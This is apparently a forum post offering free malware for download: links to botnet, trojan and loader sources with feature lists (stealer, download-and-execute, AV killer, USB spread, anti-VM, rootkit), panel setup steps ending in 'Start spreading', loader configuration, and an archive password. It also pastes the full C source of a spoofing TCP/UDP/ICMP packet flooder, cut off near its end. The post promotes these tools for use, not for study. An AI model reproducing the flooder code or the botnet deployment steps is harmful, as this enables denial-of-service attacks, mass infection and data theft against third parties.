Share FREE code botnet,trojan,keylog,crypter.......ALL NOT VIRUS

Source Carberp

Vision Bot 


Download https://mega.nz/#!TUl2QZjI!Ubu06lVWJ0Q06LOeHEGXdiS_d7QOSCvdlF40mRbG0Bs

G3M Geminid II. TCP/UDP/ICMP Packet flooder

 
/*
* Geminid II. TCP/UDP/ICMP Packet flooder
*
*
* Usage: geminid [-T -U -I -N -s -h -d -p -q -l -t]
*
* -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN] (no default )
* -U UDP attack (no options )
* -I ICMP attack (no options )
* -N Bogus No flag attack (no options )
* -s source class/ip (defaults to random )
* -h destination host/ip (no default )
* -d destination class (no default )
* -p destination port range [start,end] (defaults to random )
* -q source port range [start,end] (defaults to random )
* -l % of box link to use (defaults to 100% )
* -t timeout (defaults to forever)
*
*
* Compiling
*
* Default:
* % gcc geminid.c -o geminid
*
* With password file option:
* % gcc -DF_PASS geminid.c -o geminid
*
* by LIVE
*/



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>

#ifdef F_PASS
#include <sys/stat.h>
#endif

#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>

#ifndef __USE_BSD
# define __USE_BSD
#endif

#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>


#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif


/* Geminid attack flags */
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64 /* -N */

/* No flag attack */
#define TH_NOF 0x0

#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF)


#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)


#define CHOOSE_DST_PORT() dst_sp == 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));


#define CHOOSE_SRC_PORT() src_sp == 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));


#define SEND_PACKET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}



/* Linux / SunOS x86 / FreeBSD */
//#define BANNER_CKSUM 54018

/* SunOS Sparc */
#define BANNER_CKSUM 723


u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);


u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;

/* Self promotion :) */
const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";

struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};

struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};


struct {
int gv; /* Geminid value */
int kv; /* Kernel value */
void (*f)(u_char);
} a_list[] = {

/* TCP */
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */

/* UDP */
{ UDP_CFF, 0, send_udp },

/* ICMP */
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};


int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;


a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
char *p;

switch (n) {
case 'T': /* TCP attack
*
* 0: ACK
* 1: FIN
* 2: RST
* 3: SYN
*/

switch (atoi(optarg)) {
case 0: a_flags |= TCP_ACK; break;
case 1: a_flags |= TCP_FIN; break;
case 2: a_flags |= TCP_RST; break;
case 3: a_flags |= TCP_SYN; break;
}
break;

case 'U': /* UDP attack
*/
a_flags |= UDP_CFF;
break;

case 'I': /* ICMP attack
*/
a_flags |= ICMP_ECHO_G;
break;

case 'N': /* Bogus No flag attack (TCP)
*/
a_flags |= TCP_NOF;
break;

case 's':
src_class = optarg;
break;

case 'h':
dstaddr = lookup(optarg);
break;

case 'd':
dst_class = optarg;
i = 1; /* neat flag to check command line later */
break;

case 'p':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
dst_sp = atoi(optarg); /* Destination start port */
dst_ep = atoi(p +1); /* Destination end port */
break;

case 'q':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
src_sp = atoi(optarg); /* Source start port */
src_ep = atoi(p +1); /* Source end port */
break;

case 'l':
b_link = atoi(optarg);
if (b_link <= 0 || b_link > 100)
usage(argv[0]);
break;

case 't':
until = time(0) +atoi(optarg);
break;

default:
usage(argv[0]);
break;
}
}

/* Checking command line */
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);

srandom(time(NULL) ^ getpid());

/* Opening RAW socket */
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}

if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}

/* Filling target structure */
target.sin_family = AF_INET;

/* Packeting! */
for (n = 0; ; ) {

/* Poor link control handling */
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}

/* Sending requested packets */
for (i = 0; a_list[i].f != NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}

/* Attack is finished? Do not check it every time, would eat
* too much CPU */
if (n++ == 100) {
if (until != -1 && time(0) >= until) break;
n = 0;
}
}

exit(0);
}


u_long
lookup(const char *host)
{
struct hostent *hp;

if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}

return *(u_long *)hp->h_addr;
}


#define RANDOM() (int) random() % 255 +1

char *
class2ip(const char *class)
{
static char ip[16];
int i, j;

for (i = 0, j = 0; class[i] != '\0'; ++i)
if (class[i] == '.')
++j;

switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;

/* Spoofing single host */
default: strncpy(ip, class, 16);
break;
}
return ip;
}


unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/*
* Mop up an odd byte, if necessary
*/
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *)w;
sum += answer;
}

/*
* Add back carry outs from top 16 bits to low 16 bits
*/
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */

return answer;
}


/*
* Creating generic ip header, not yet ready to be used.
*/
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{


/* Filling IP header */
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_p = p;
ip->ip_tos = 0x08; /* 0x08 */
ip->ip_id = random();
ip->ip_len = len;
ip->ip_off = 0;
ip->ip_ttl = 255;

ip->ip_dst.s_addr = dst_class != NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;

ip->ip_src.s_addr = src_class != NULL ?
inet_addr(class2ip(src_class)) :
random();

/* I know, this is not part of the game, but anyway.. */
target.sin_addr.s_addr = ip->ip_dst.s_addr;
}


static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;


/* Filling IP header */
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);

/* Filling cksum pseudo header */
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;

/* Filling TCP header */
packet.tcp.th_flags = 0;
packet.tcp.th_win = htons(65535);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_flags = th_flags;
packet.tcp.th_off = 5;
packet.tcp.th_urp = 0;
packet.tcp.th_sport = CHOOSE_SRC_PORT();
packet.tcp.th_dport = CHOOSE_DST_PORT();
cksum.tcp = packet.tcp;
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}


static void
send_udp(u_char garbage) /* No use for garbage here, just to remain */
{ /* coherent with a_list[] */
struct packet {
struct ip ip;
struct udphdr udp;
} packet;


/* Filling IP header */
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);

/* Filling UDP header */
packet.udp.uh_sport = CHOOSE_SRC_PORT();
packet.udp.uh_dport = CHOOSE_DST_PORT();
packet.udp.uh_ulen = htons(sizeof packet.udp);
packet.udp.uh_sum = 0; /* No checksum */
SEND_PACKET();
}


static void
send_icmp(u_char gargabe) /* Garbage discarded again.. */
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;


/* Filling IP header */
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);

/* Filling ICMP header */
packet.icmp.icmp_type = ICMP_ECHO;
packet.icmp.icmp_code = 0;
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
SEND_PACKET();
}


static void
usage(const char *argv0)
{
printf("%s \n", banner);


Download https://mega.nz/#!uME01CYS!9cQXFzBlQef0tTdNOtvg9oC928IRSMYOKz6qsjm4miM

Source Reverse Socks 5 Bot


Download https://mega.nz/#!iMcgXS5C!FNF2Vk_LDPJZX73WFVPLQ3RWxjlkm8SWVxIf5Jr5_aw
vOlk Botnet 5.0.2 [Source VB6]

Some features:

Stealer
Pharming
Web Visit
Download & Execute
DDoS Attacks


Download https://mega.nz/#!3I1FRA5Q!c6_FKViKFvr56voUyKuiS3Zjb5aRE4Up2WLbwcra2Ig
Source IRC 3vbot 1.4 C/C++
botkiller
commands
uninstall
download
update
update time
visit web
server.

Download https://mega.nz/#!mVVijABZ!sA0I2V6gfxq7A67a42VrhoVmSxuMlVh7CEJ8V7WmFJs
Ganja IRC Bots
Fonctions:
[x] Injection Added! NEW
[x] Easy identifier for New Infections
[x] Unique UDP Flooder
[x] Speedtest
[x] Antis
[x] Registry Persistence
[x] Mutex Enabled
[x] USB Spread
[x] Botkiller
[x] Anti-Botkiller
[x] Visit Websites
[x] Ping/Pong Feature
[x] AV Killer: Scans For active av processes and terminates them on sight
[x] TCP Flood added!
[x] MSN Spread added!
[x] Enhanced Botkiller that detects and destroys more processes on sight
[x] 13kb on compile! Great size with all these features added!

DOWNLOAD
https://mega.nz/#!CBMFmLwT!JPXVtaSI6xxJSSQ4JEaEjcrLOVj9TvSWlCT9jqD2CwA

N0PE Bot v1.0.5.0 + Sources

Anti Debugger
Anti Sandboxie
Anti Emulator
Anti Netstat
Anti Filemon
Anti Processmon
Anti Regmon
Anti Cain & Abel
Anti Networkmon
Anti TCPView
Anti Wireshark
Anti ParallelsDesktop
Anti VMWare
Anti VirtualBox
Anti VirtualPC
Anti UAC
SYN Flood
HTTP Flood
UDP Flood
ICMP Flood
Download & Execute
Visit Page
Update Bot
Remove Bot
Protect Process RootKit

N0PE Bot Install Tutorial:
* Config file configuration (/Webpanel/system/config.php)
* After configurations, upload all files on your host.
* Then Chmod 777 for all folder and subfolders
* Create new database in MySql and import db.sql from Database folder.
* Then Open Builder and create server.exe


Download https://mega.nz/#!6YshCJLS!QM6kOF-bQqaic6cN7BfoljXTd04Yw_GoFqhSz-yIcHQ

µBOT - HTTP Bot - DL/Exec, Update, Visit, 10kb Bin

UBOT, originally named "Webnet", is a stable HTTP bot created for the use of cattle and is perfect for collecting hundereds and thousands of programs with an affordable price. The simple to use interfaceand reliable bot allows you to control your botnet with confidence, knowing your program is safe andstable is what botnet master's needs, and this is what we provide you with μBOT.
"Μ" in the name of our representative for simplicity and small size, which is directly in relation withour bot itself, with a 9kb small size compressor with control panel easy to use.
Bot:
- INSTANT Infection, no waiting.
- Download & Execute.
- Update.
- Visit Webpage [Visible].
- Visit Webpage [Invisible].
- Uninstall.
- Add to Startup.
- Critical Process.
- Hidden File.
- Admin detection.
- Mutex.
- Coded in VB6, no .NET Framework dependency!
- Small, ~10kb compressed, 36kb uncompressed.
- Great stability.
Panel:
- Detailed statistics.
- Location plot, map graph.
- Pie Charts [Bot Status, Operating System, Admin].
- Tool-tip for last commands sent for each client.
- Bot selection preferences.
- Integrated Ajax, Means everything is realtime! From client list to bot count.
Instructions:
1. Upload the PHP Sauce to your webhost.
2. Create a MySQL Database.
3. Navigate on your webhosts FTP to root/inc/config.php .
4. Edit the details accordingly.
5. Import the MySQL configuration file called 'boatnet.sql' .
6. Build the VB6 side with corresponding panel.
7. Start spreading.
Now onto the cron job
The settings of the cron job is up to you it can vary between once a day to every 30 mins, i would personally recommend 30 mins because that is what the script is built for but aslong as you point the cron to
http://www.yourdomain.com/locationOfPanel/cron.php
youll be fine
Fixes:
having a problem with the function.date and getting errors like below?
Code:
Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Europe/Berlin' for 'CEST/2.0/DST'
there is a simple fix, go on the page you are getting the error such as tasks.php and after the initial php comment,place the following line
Code:
date_default_timezone_set('Europe/Berlin');



Download https://mega.nz/#!XMFn1bBL!ptM9psKKakV03tBOjXMzcfvUZiFb-AwAnWPlHBkM3BE
SafeLoader v2.2 By Scorpio [OPEN SOURCE]

SafeLoader v2.2 By Scorpio [OPEN SOURCE]

Features:

-Coded in VBS (Work in All Windows)
-Easy to Install
-All Traffic is Encrypted
-StartUP with Startup Folders
-StartUP with Regedit
-Startup with Windows Tasks
-GeoLocation with GeoIP
-Download & Execute
-Stable Update
-Full Uninstall
-Small Size (10Kb)
-Easy Cryptable
-Fuck UAC, SandBox and Firewall
Commands:

Download & Execute First indicates the url to the file, then the name you want to save the file, separated by "::".
For Example : http://www.site.net/file.exe::filename.exe

Update: Enter the url to the file.
Uninstall: Do not put anything, if required add a space or whatever you want.
safe.vbs is the server, you edit file

sHost = "http://www.web.net/config/gate.php"
sPassword = "Password"
sDelay = 60000
same password

config.php
$botpassword = 'neVery'; //Bot Password

safe.vbs
sPassword = "neVery"

Download  https://mega.nz/#!mc8wRDBa!K6Ty0qRL3CC00uvm_6qlMfvqBGeCgWApq3qLpwmuVho
pass: freetrojanbotnet.com